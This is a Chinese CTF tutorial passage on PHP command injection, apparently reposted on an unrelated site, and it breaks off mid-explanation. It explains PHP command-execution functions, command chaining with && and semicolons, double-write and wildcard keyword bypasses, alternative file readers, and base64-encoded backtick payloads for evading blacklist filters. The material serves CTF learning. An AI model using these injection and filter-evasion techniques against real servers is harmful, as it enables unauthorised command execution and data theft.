傲世皇朝注册
你的位置:傲世皇朝注册 > 关于傲世皇朝注册 > CTFWEB-RCE篇
CTFWEB-RCE篇
发布日期:2024-07-22 04:02    点击次数:80
啥是RCE?php的代码执行简称RCE是Remote Command Exec(远程命令执行)和Remote Code Exec(远程代码执行)的缩写;Command指的是操作系统的命令,code指的是脚本语言(php)的代码php的命令执行利用php的命令执行,我们默认讨论的是服务器操作系统为Linux下的情况php的Command Exec函数在php中,官方有下面6种函数可以执行系统命令system()system(whoami);    引号加不加都行,默认是command类型参数.passthru()完全同system()exec()默认没有回显,需要手动加上echo.而且只会回显出一行结果,因此常用第二个数组参数接收多行结果.payload:$arr=[]; echo exec(ipconfig,$arr); var_dump($arr);shell_exec()默认没有回显,需要手动加上echo,可以输出多行结果.payload:echo shell_exec(ipconfig);popen()popen():打开一个指向进程的管道,该进程由派生给定的command命令执行而产生.payload:$fp=popen(whoami,'r'); while(!feof($fp)){$content.=fgetss($fp);} echo $content;pcntl_exec#void pcntl_exec ( string $path [, array $args [, array $envs ]] ) #path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 #args是一个要传递给程序的参数的字符串数组。#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0 <?php pcntl_exec ( '/bin/bash' , array('whoami')); ?>proc_open()proc_open():执行一个命令,并打开一个io文件指针.类似popen(),但更复杂.执行运算符 ``这些函数的共同特征就是可以执行系统命令,只是返回值、参数个数、参数位置不同而已。这里说的系统命令,和php所在的服务器的操作系统密切相关在Windows服务器上,我们可以执行Windows的系统命令或者程序名称,列如calc、bat、vbs等等在Linux/Unix服务器上,我们可以执行Linux的系统命令,列如cat cp nc等等比如ping -c 1 wwww.baidu.comping -c 1 wwww.baidu.com在命令执行有下面几种可能:命令可控 比如我们可以控制ping这个字符串参数可控 -c 可控参数值可控 1和www.baidu.com 可控整体可控,但是要突破过滤我们遇到命令执行,需要首先判断可控的位置,然后针对性的绕过参数值可控我们从一个例子看起<?phperror_reporting(0);highlight_file(__FILE__);$dir=$_POST['dir'];system('ls '.$dir);?>代码很简单,就是列目录,我们需要传入一个参数dir,如果没有传入,则默认执行无参命今ls我们现在需要注入进去我们自己的其他命令我们只需要传入 && 就可以实现两个命令并列执行,前面命令执行完毕后会执行后面的命令相当于命令A&&命令B&&代表逻辑与符号,用于当第一个命令执行成功后才执行第二个命令代表逻辑或符号,用于当第一个命令执行失败后才执行第二个命令;分号符,用于在一行中依次执行多个命令命令可控我们再看一个例子<?phperror_reporting(0);highlight_file(__FILE__);$cmd=$_POST['cmd'];system($cmd.' >/dev/null 2>&1');?>这次的代码变成了1 system($cmd.”>/dev/nul1 2>&1');后面这个写法小白可能没见过,我在这说明一下在linux中,所有的设备都有文件描述,那么有一类特殊的设备,也有文件描述,那就是空的设备文件描述为/dev/null而>表示将输出写入到这个空设备中,也就是不回显任何数据后面的2>&1 则是表示把标准的错误输出附加到标准输出上,合起来,就是标准输出和错误输出都不回显这时候,我们如果使用前面的 && 来使命令一分为二,后面的命令会导致我们在前面执行的命令不回显。这个时候可以使用shell中的分号,来拆分命令,表示前后两条命令。两者的区别在于&&需要前面命令执行成功后,后面的命令才会执行,分号则不管成功与否,两个命令作为两行命令执行整体可控1.黑名单过滤替换过滤的情况这个属于直男型过滤,认为我只要把关键字替换为空,那么就安全了绕过也很简单,双写绕过即可,比如替换了cat字符串为空,所以可以直接提交ccatat,替换后,就刚好变成了 cat虽然简单,但是在实战中经常遇到。利用条件也是仅仅替换为空,如果替换为其他字符,大概率就走不通了,比如替换为ABCccatat营换后为CABCat,命令明显会执行错误。过滤特定字符串(例如flag)的情况:当我们要读取flag时,遇到过滤了关键字时,我们可以使用通配符绕过,通配符我们只需要掌握两个符号,分别是*和?*号表示任意长度字符,最常见的就是一条命令处理多个文件比如批量移动文件 可以使用命令mv *.txt ./tmp上面命令会把当前目录所有后缀为txt的文件移动到当前目录下的tmp目录如果有成百上千的txt文件,使用通配符,可以一条命令就完成,而不用这样mv 1.txt ./tmpmv 2.txt ./tmp...?表示占位符,表示1个或者多个字符,比如我们当前目录有个文件abc.txt,需要移动到tmp目录,我们可以这样写mv abc.txt ./tmp如果我们有很多类似这样的文件,比如 a1c.txt a3c.txt a8c.txt a8aac.txt这样的文件,我们就可以使用?来精准匹配mv a*c.txt ./tmp#会移动所有txt文件到tmp目录,包括a8aac.txtmv a?c.txt ./tmp#只会移动a1c.txt a3c.txt a8c.txt,不包括a8aac.txt#因为a8aac.txt文件名中a和c之间不止一位字符,所以用?匹配不到参考例题<?phperror_reporting(0);highlight_file(__FILE__);$cmd=$_POST['cmd'];if(!preg_match('/flag|\&|\;/i',$cmd)){system($cmd.' >/dev/null 2>&1');}?>这里我们看到有了3个我们没有见过的函数,分别是error_reporting(0);highlight_file(__ FILE__);if(!preg _match('/flag|\&| \;/i”,$cmd)){我们可以打开自己的php手册,查询下函数意义我们重点看看这个if判断,里面是一个正则表达式的判断,如果输入的参数里面不包含大小写的 flag字符,而且不能包含&& 和分号,否则不会执行大括号中的函数这样就起到了参数过滤的作用,这里我们虽然不能便用flag这个单词,但是我们可以使用通配符*和?过滤cat、more等文件读取命令的情况:在linux中,有很多的命令或者程序可以读取文件,如果自己熟悉的命令被ban掉了,那么最好的办法就是打开自己的本地linux环境,找找那些不熟悉的命令,或许就有可以读取文件的其他方式了。最常见的方式就是用别的命令替换,比如过滤了cat用tac命令读取,甚至nl more od 等等其他命令也可以读取,这里列一下linux读取文件的命令cattacmorelessodxxdtailnlsortgrepuniqfile -ftac:反向显示tac flag.php

图片

more:一页一页的显示档案内容more flag.php,如果无回显,可先在网页源代码中查看

图片

less:与more类似less flag.php

图片

tail:查看末尾几行tail flag.php

图片

nl:显示的时候,随便输出行号nl flag.php

图片

od:以二进制的方式读取文档内容od flag.php

图片

xxd:读取二进制文件xxd flag.php

图片

sort:主要用于排序文件sort flag.php

图片

uniq:报告或删除文件中重复的行uniq flag.php

图片

grep:在文本中查找指定的字符串grep flag flag.php

图片

file-f: 报错出具体内容file -f flag.php

图片

我们这里不用上面的思路,我们假设所有读取文件的命令或者程序都被ban了,所以我们还可以使用另一 种组合执行的方法那就是我们在shell语法中,有反引号表示执行的意思,比如我们可以这样执行ls `echo /bin`#等效于ls /bin#甚至我们可以这样`echo ls` `echo /bin`#依然等效于 ls/bin所以,这里我们可以这样构造`echo bHMK 1 base64 -d` `echo L2Jpbgo= | base64 -d`#这样依旧等效于 ls /bin那么对于过滤了文件读取函数的题目,我们可以这样通杀#tac flag.php`echo dGFjIA== | base64 -d` `echo ZmxhZy5waHA=|base64 -d`但是题目中,又将回显输出到了空设备,所以我们需要把命令后面拆分或者断开,虽然我们不能使用并列执行的&&和先后执行的;我们依然可以使用

上一篇:A股三大指数震荡收跌,32位基金经理发生任职变动
下一篇:CTFWEB-SSTI篇

友情链接: